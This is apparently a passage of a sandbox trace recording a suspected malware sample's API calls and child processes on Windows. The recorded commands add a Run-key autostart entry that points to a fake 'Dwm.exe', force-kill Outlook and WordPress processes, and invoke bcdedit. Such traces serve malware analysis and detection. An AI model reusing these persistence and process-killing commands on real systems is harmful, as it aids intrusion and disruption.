	[0128.631] _wcsicmp (_String1="REG", _String2="TITLE") returned -2
	[0128.631] _wcsicmp (_String1="REG", _String2="START") returned -1
	[0128.631] _wcsicmp (_String1="REG", _String2="DPATH") returned 14
	[0128.631] _wcsicmp (_String1="REG", _String2="KEYS") returned 7
	[0128.631] _wcsicmp (_String1="REG", _String2="MOVE") returned 5
	[0128.631] _wcsicmp (_String1="REG", _String2="PUSHD") returned 2
	[0128.631] _wcsicmp (_String1="REG", _String2="POPD") returned 2
	[0128.631] _wcsicmp (_String1="REG", _String2="ASSOC") returned 17
	[0128.631] _wcsicmp (_String1="REG", _String2="FTYPE") returned 12
	[0128.631] _wcsicmp (_String1="REG", _String2="BREAK") returned 16
	[0128.631] _wcsicmp (_String1="REG", _String2="COLOR") returned 15
	[0128.631] _wcsicmp (_String1="REG", _String2="MKLINK") returned 5
	[0128.632] _wcsicmp (_String1="REG", _String2="DIR") returned 14
	[0128.632] _wcsicmp (_String1="REG", _String2="ERASE") returned 13
	[0128.632] _wcsicmp (_String1="REG", _String2="DEL") returned 14
	[0128.632] _wcsicmp (_String1="REG", _String2="TYPE") returned -2
	[0128.632] _wcsicmp (_String1="REG", _String2="COPY") returned 15
	[0128.632] _wcsicmp (_String1="REG", _String2="CD") returned 15
	[0128.632] _wcsicmp (_String1="REG", _String2="CHDIR") returned 15
	[0128.632] _wcsicmp (_String1="REG", _String2="RENAME") returned -7
	[0128.632] _wcsicmp (_String1="REG", _String2="REN") returned -7
	[0128.632] _wcsicmp (_String1="REG", _String2="ECHO") returned 13
	[0128.632] _wcsicmp (_String1="REG", _String2="SET") returned -1
	[0128.633] _wcsicmp (_String1="REG", _String2="PAUSE") returned 2
	[0128.633] _wcsicmp (_String1="REG", _String2="DATE") returned 14
	[0128.633] _wcsicmp (_String1="REG", _String2="TIME") returned -2
	[0128.633] _wcsicmp (_String1="REG", _String2="PROMPT") returned 2
	[0128.633] _wcsicmp (_String1="REG", _String2="MD") returned 5
	[0128.633] _wcsicmp (_String1="REG", _String2="MKDIR") returned 5
	[0128.633] _wcsicmp (_String1="REG", _String2="RD") returned 1
	[0128.633] _wcsicmp (_String1="REG", _String2="RMDIR") returned -8
	[0128.633] _wcsicmp (_String1="REG", _String2="PATH") returned 2
	[0128.633] _wcsicmp (_String1="REG", _String2="GOTO") returned 11
	[0128.633] _wcsicmp (_String1="REG", _String2="SHIFT") returned -1
	[0128.633] _wcsicmp (_String1="REG", _String2="CLS") returned 15
	[0128.633] _wcsicmp (_String1="REG", _String2="CALL") returned 15
	[0128.634] _wcsicmp (_String1="REG", _String2="VERIFY") returned -4
	[0128.634] _wcsicmp (_String1="REG", _String2="VER") returned -4
	[0128.634] _wcsicmp (_String1="REG", _String2="VOL") returned -4
	[0128.634] _wcsicmp (_String1="REG", _String2="EXIT") returned 13
	[0128.634] _wcsicmp (_String1="REG", _String2="SETLOCAL") returned -1
	[0128.634] _wcsicmp (_String1="REG", _String2="ENDLOCAL") returned 13
	[0128.634] _wcsicmp (_String1="REG", _String2="TITLE") returned -2
	[0128.634] _wcsicmp (_String1="REG", _String2="START") returned -1
	[0128.634] _wcsicmp (_String1="REG", _String2="DPATH") returned 14
	[0128.634] _wcsicmp (_String1="REG", _String2="KEYS") returned 7
	[0128.634] _wcsicmp (_String1="REG", _String2="MOVE") returned 5
	[0128.634] _wcsicmp (_String1="REG", _String2="PUSHD") returned 2
	[0128.634] _wcsicmp (_String1="REG", _String2="POPD") returned 2
	[0128.635] _wcsicmp (_String1="REG", _String2="ASSOC") returned 17
	[0128.635] _wcsicmp (_String1="REG", _String2="FTYPE") returned 12
	[0128.635] _wcsicmp (_String1="REG", _String2="BREAK") returned 16
	[0128.635] _wcsicmp (_String1="REG", _String2="COLOR") returned 15
	[0128.635] _wcsicmp (_String1="REG", _String2="MKLINK") returned 5
	[0128.635] _wcsicmp (_String1="REG", _String2="FOR") returned 12
	[0128.635] _wcsicmp (_String1="REG", _String2="IF") returned 9
	[0128.635] _wcsicmp (_String1="REG", _String2="REM") returned -6
	[0128.636] GetProcessHeap () returned 0x350000
	[0128.636] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x36be40
	[0128.636] GetProcessHeap () returned 0x350000
	[0128.636] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x126) returned 0x36c060
	[0128.636] _wcsnicmp (_String1="REG", _String2="cmd ", _MaxCount=0x4) returned 15
	[0128.636] GetProcessHeap () returned 0x350000
	[0128.636] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x420) returned 0x351320
	[0128.637] SetErrorMode (uMode=0x0) returned 0x0
	[0128.637] SetErrorMode (uMode=0x1) returned 0x0
	[0128.637] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x351330, lpFilePart=0x22ecc0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x22ecc0*="system32") returned 0x13
	[0128.637] SetErrorMode (uMode=0x0) returned 0x1
	[0128.638] GetProcessHeap () returned 0x350000
	[0128.638] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x351320, Size=0x40) returned 0x351320
	[0128.638] GetProcessHeap () returned 0x350000
	[0128.638] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x351320) returned 0x40
	[0128.638] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0128.639] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0128.639] GetProcessHeap () returned 0x350000
	[0128.639] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x104) returned 0x36c190
	[0128.639] GetProcessHeap () returned 0x350000
	[0128.639] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x1f8) returned 0x351370
	[0128.814] GetProcessHeap () returned 0x350000
	[0128.814] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x351370, Size=0x106) returned 0x351370
	[0128.814] GetProcessHeap () returned 0x350000
	[0128.814] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x351370) returned 0x106
	[0128.814] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0128.815] GetProcessHeap () returned 0x350000
	[0128.815] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xe8) returned 0x351490
	[0128.816] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x351490, Size=0x7e) returned 0x351490
	[0128.816] GetProcessHeap () returned 0x350000
	[0128.817] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x351490) returned 0x7e
	[0128.819] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0128.819] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\REG.*", fInfoLevelId=0x1, lpFindFileData=0x22ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22ea30) returned 0x36c2a0
	[0128.820] GetProcessHeap () returned 0x350000
	[0128.820] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x0, Size=0x28) returned 0x364720
	[0128.820] FindClose (in: hFindFile=0x36c2a0 | out: hFindFile=0x36c2a0) returned 1
	[0128.820] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.COM", fInfoLevelId=0x1, lpFindFileData=0x22ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22ea30) returned 0xffffffffffffffff
	[0128.821] GetLastError () returned 0x2
	[0128.821] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.EXE", fInfoLevelId=0x1, lpFindFileData=0x22ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22ea30) returned 0x36c2a0
	[0128.821] GetProcessHeap () returned 0x350000
	[0128.821] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x364720, Size=0x8) returned 0x351520
	[0128.821] FindClose (in: hFindFile=0x36c2a0 | out: hFindFile=0x36c2a0) returned 1
	[0128.822] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0128.822] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0128.822] GetConsoleTitleW (in: lpConsoleTitle=0x22ef80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0128.822] InitializeProcThreadAttributeList (in: lpAttributeList=0x22ed38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x22ecf8 | out: lpAttributeList=0x22ed38, lpSize=0x22ecf8) returned 1
	[0128.822] UpdateProcThreadAttribute (in: lpAttributeList=0x22ed38, dwFlags=0x0, Attribute=0x60001, lpValue=0x22ece8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x22ed38, lpPreviousValue=0x0) returned 1
	[0128.822] GetStartupInfoW (in: lpStartupInfo=0x22ee50 | out: lpStartupInfo=0x22ee50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0128.823] lstrcmpW (lpString1="\\reg.exe", lpString2="\\XCOPY.EXE") returned -1
	[0128.827] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\reg.exe", lpCommandLine="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x22ed70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x22ed20 | out: lpCommandLine="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64", lpProcessInformation=0x22ed20*(hProcess=0x54, hThread=0x50, dwProcessId=0xc64, dwThreadId=0xc68)) returned 1
	[0130.496] CloseHandle (hObject=0x50) returned 1
	[0130.496] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0130.496] GetProcessHeap () returned 0x350000
	[0130.496] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36adc0 | out: hHeap=0x350000) returned 1
	[0130.496] GetEnvironmentStringsW () returned 0x36adc0*
	[0130.497] GetProcessHeap () returned 0x350000
	[0130.497] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xac4) returned 0x368bf0
	[0130.497] FreeEnvironmentStringsW (penv=0x36adc0) returned 1
	[0130.497] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0158.184] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x22ec68 | out: lpExitCode=0x22ec68*=0x0) returned 1
	[0158.184] CloseHandle (hObject=0x54) returned 1
	[0158.184] _vsnwprintf (in: _Buffer=0x22eed8, _BufferCount=0x13, _Format="%08X", _ArgList=0x22ec78 | out: _Buffer="00000000") returned 8
	[0158.185] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0158.185] GetProcessHeap () returned 0x350000
	[0158.185] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x368bf0 | out: hHeap=0x350000) returned 1
	[0158.185] GetEnvironmentStringsW () returned 0x36c2c0*
	[0158.185] GetProcessHeap () returned 0x350000
	[0158.185] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xaea) returned 0x368bf0
	[0158.185] FreeEnvironmentStringsW (penv=0x36c2c0) returned 1
	[0158.185] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0158.185] GetProcessHeap () returned 0x350000
	[0158.185] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x368bf0 | out: hHeap=0x350000) returned 1
	[0158.185] GetEnvironmentStringsW () returned 0x36c2c0*
	[0158.185] GetProcessHeap () returned 0x350000
	[0158.185] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xaea) returned 0x368bf0
	[0158.185] FreeEnvironmentStringsW (penv=0x36c2c0) returned 1
	[0158.186] GetProcessHeap () returned 0x350000
	[0158.186] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c2a0 | out: hHeap=0x350000) returned 1
	[0158.186] DeleteProcThreadAttributeList (in: lpAttributeList=0x22ed38 | out: lpAttributeList=0x22ed38) 
	[0158.186] _get_osfhandle (_FileHandle=1) returned 0x7
	[0158.186] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0158.187] _get_osfhandle (_FileHandle=1) returned 0x7
	[0158.187] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a47e194 | out: lpMode=0x4a47e194) returned 1
	[0158.187] _get_osfhandle (_FileHandle=0) returned 0x3
	[0158.187] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a47e198 | out: lpMode=0x4a47e198) returned 1
	[0158.188] SetConsoleInputExeNameW () returned 0x1
	[0158.188] GetConsoleOutputCP () returned 0x1b5
	[0158.189] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0158.189] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0158.189] exit (_Code=0) 

Process:
	id = "24"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x31717000"
	os_pid = "0x7f4"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM wordpress.exe /F"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 118
	os_tid = 0x54c


Thread:
	id = 230
	os_tid = 0xc5c


Thread:
	id = 257
	os_tid = 0xcf0


Thread:
	id = 258
	os_tid = 0xcf8


Thread:
	id = 259
	os_tid = 0xcfc


Process:
	id = "25"
	image_name = "bcdedit.exe"
	filename = "c:\\windows\\system32\\bcdedit.exe"
	page_root = "0x30e5e000"
	os_pid = "0x914"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "15"
	os_parent_pid = "0x304"
	cmd_line = "bcdedit  /set {default}"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 152
	os_tid = 0x9f4


Process:
	id = "26"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x2fd6e000"
	os_pid = "0xb44"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM outlook.exe /F"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 173
	os_tid = 0x490


Thread:
	id = 301
	os_tid = 0xd80


Thread:
	id = 308
	os_tid = 0xd9c


Thread:
	id = 320
	os_tid = 0xdd8


Thread:
	id = 321
	os_tid = 0xddc


Process:
	id = "27"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x30744000"
	os_pid = "0x7ec"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM wordpress.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 176
	os_tid = 0xb68


Thread:
	id = 302
	os_tid = 0xd84


Thread:
	id = 310
	os_tid = 0xdb0


Thread:
	id = 322
	os_tid = 0xde0


Thread:
	id = 323
	os_tid = 0xde4


Process:
	id = "28"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x2fd68000"
	os_pid = "0xc44"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM outlook.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 227
	os_tid = 0xc48


Thread:
	id = 303
	os_tid = 0xd88


Thread:
	id = 311
	os_tid = 0xdb4


Thread:
	id = 349
	os_tid = 0xe54


Thread:
	id = 350
	os_tid = 0xe58


Process:
	id = "29"
	image_name = "reg.exe"
	filename = "c:\\windows\\system32\\reg.exe"
	page_root = "0x2fe08000"
	os_pid = "0xc64"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "23"
	os_parent_pid = "0x938"
	cmd_line = "REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 231
	os_tid = 0xc68

	[0134.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f7f0 | out: lpSystemTimeAsFileTime=0x10f7f0*(dwLowDateTime=0x2141a630, dwHighDateTime=0x1d5cdef)) 
	[0134.289] GetCurrentProcessId () returned 0xc64
	[0134.289] GetCurrentThreadId () returned 0xc68
	[0134.289] GetTickCount () returned 0x1167f8c
	[0134.289] QueryPerformanceCounter (in: lpPerformanceCount=0x10f7f8 | out: lpPerformanceCount=0x10f7f8*=27604235856) returned 1
	[0134.292] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000
	[0134.292] __set_app_type (_Type=0x1) 
	[0134.292] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffa00d0) returned 0x0
	[0134.293] __wgetmainargs (in: _Argc=0xfffa2140, _Argv=0xfffa2150, _Env=0xfffa2148, _DoWildCard=0, _StartInfo=0xfffa215c | out: _Argc=0xfffa2140, _Argv=0xfffa2150, _Env=0xfffa2148) returned 0
	[0134.294] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 1
	[0134.298] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0134.298] RegOpenKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x10f7c8 | out: phkResult=0x10f7c8*=0x0) returned 0x2
	[0134.299] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0134.299] lstrlenW (lpString="-?|/?|-h|/h") returned 11
	[0134.299] GetProcessHeap () returned 0x200000
	[0134.299] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21b640
	[0134.300] lstrlenW (lpString="") returned 0
	[0134.300] GetProcessHeap () returned 0x200000
	[0134.482] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x2) returned 0x21b660
	[0134.482] GetProcessHeap () returned 0x200000
	[0134.483] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215a20
	[0134.483] GetProcessHeap () returned 0x200000
	[0134.483] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21b680
	[0134.483] GetProcessHeap () returned 0x200000
	[0134.483] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215a50
	[0134.483] GetProcessHeap () returned 0x200000
	[0134.483] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215a80
	[0134.483] GetProcessHeap () returned 0x200000
	[0134.483] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ab0
	[0134.483] GetProcessHeap () returned 0x200000
	[0134.483] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ae0
	[0134.483] GetProcessHeap () returned 0x200000
	[0134.483] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21b6a0
	[0134.484] GetProcessHeap () returned 0x200000
	[0134.484] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b10
	[0134.484] GetProcessHeap () returned 0x200000
	[0134.484] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b40
	[0134.484] GetProcessHeap () returned 0x200000
	[0134.484] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b70
	[0134.484] GetProcessHeap () returned 0x200000
	[0134.484] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ba0
	[0134.484] GetProcessHeap () returned 0x200000
	[0134.484] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21b6c0
	[0134.484] GetProcessHeap () returned 0x200000
	[0134.484] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215bd0
	[0134.484] GetProcessHeap () returned 0x200000
	[0134.485] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c00
	[0134.485] GetProcessHeap () returned 0x200000
	[0134.485] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c30
	[0134.485] GetProcessHeap () returned 0x200000
	[0134.485] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c60
	[0134.485] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0134.487] GetProcessHeap () returned 0x200000
	[0134.487] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21b6e0
	[0134.487] _memicmp (_Buf1=0x21b6e0, _Buf2=0xfff91458, _Size=0x7) returned 0
	[0134.487] GetProcessHeap () returned 0x200000
	[0134.487] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x1e) returned 0x215c90
	[0134.487] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0134.487] GetProcessHeap () returned 0x200000
	[0134.487] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21b700
	[0134.488] _memicmp (_Buf1=0x21b700, _Buf2=0xfff91458, _Size=0x7) returned 0
	[0134.488] GetProcessHeap () returned 0x200000
	[0134.489] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x86) returned 0x21b880
	[0134.489] _vsnwprintf (in: _Buffer=0x215c90, _BufferCount=0xe, _Format="|%s|", _ArgList=0x10f5c8 | out: _Buffer="|-?|/?|-h|/h|") returned 13
	[0134.489] _vsnwprintf (in: _Buffer=0x21b880, _BufferCount=0x42, _Format="|%s|", _ArgList=0x10f5c8 | out: _Buffer="|HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|") returned 65
	[0134.489] lstrlenW (lpString="|-?|/?|-h|/h|") returned 13
	[0134.489] lstrlenW (lpString="|HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|") returned 65
	[0134.489] SetLastError (dwErrCode=0x490) 
	[0134.489] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0134.489] GetProcessHeap () returned 0x200000
	[0134.489] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x80) returned 0x21b910
	[0134.489] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x4b) returned 0x0
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x59) returned 0x0
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0
